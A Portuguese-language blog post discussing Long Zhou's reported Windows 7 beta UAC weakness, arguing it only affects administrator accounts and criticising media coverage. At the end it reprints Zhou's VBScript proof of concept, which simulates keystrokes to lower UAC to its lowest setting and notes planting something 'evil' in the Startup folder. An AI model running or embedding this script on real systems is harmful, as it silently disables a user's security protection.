Nota sobre a “falha” descoberta por Long Zhou sobre o UAC do Windows 7

Primeiramente, sugiro ler um pouco sobre a falha: http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/.

Agora, minhas considerações:

  • Windows 7 ainda é BETA. Mesmo com um won’t fix, a MS pode muito bem alterar o comportamento padrão do UAC na versão final.
  • Não se trata de uma falha de segurança. Como pode ser notado no terceiro comentário no blog do Long Zhou, essa “falha” só ocorre em usuários que pertençam ao grupo Administrators. Obviamente, usuários nesse grupo podem fazer qualquer coisa no computador. Seguro mesmo é usar o UAC com usuários non-admins, como substituição para o RunAs.
  • O “script” de Zhou simula digitação no teclado. Isso é bem simples de se contornar. Arquivos .VBS e .EXE vindos por e-mail, por exemplo, precisam de confirmação extra para serem executados. Pelo registro, diretamente, o UAC não pode ser alterado. Remotamente, só se o usuário (remoto) tiver credenciais fortes para alterar o registro (psexec + reg add).
  • Em empresas isso não deve ser um problema, já que normalmente as contas de admin local são de uso restrito da área de suporte/administração de sistemas. Quem não está assim hoje, deveria estar.
  • Mesmo com o barulho todo, concordo em parte com o que Zhou sugere. A configuração padrão atual não ajuda, já que o primeiro usuário logo após a instalação é um administrador (provavelmente por motivos de compatibilidade com sistemas antigos). O UAC então pode ser desativado por ele sem popups. Minha sugestão vai além: exigir a senha do admin na instalação, não bloquear a conta, e liberar por padrão a conta do usuário comum. Um papel de parede padrão com um aviso em vermelho bem grande também poderia intimidar alguns usuários desavisados. Só assim para fazer os usuários finais (pense num usuário sem experiência, com experiência pequena ou intermediária) usarem contas de usuário da forma correta.
  • A mídia brasileira continua sendo uma verdadeira piada no que diz respeito ao assunto Informática. Notícias como essa (http://olhardigital.uol.com.br/digital_news/noticia.php?id_conteudo=7381), sem nenhuma análise técnica mais profunda, são publicados diariamente. Não deve existir nenhuma matéria sobre Segurança em cursos de Jornalismo, e vários jornalistas simplesmente escrevem o que canais internacionais publicam. Lamentável.

Bom, é isso. O script do Zhou está logo abaixo. Bom, não? ;-)

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

Categorias dessa postagem: ,

Comentários

William de Oliveira Ferreira : Já tem um tempinho que eu lí esta materia mas percebi uma coisa: Ele usa vários Sleep, provalmente se o computador não for de performance aceitável, o script também não funcionará... [1/6/09 13:57 - link]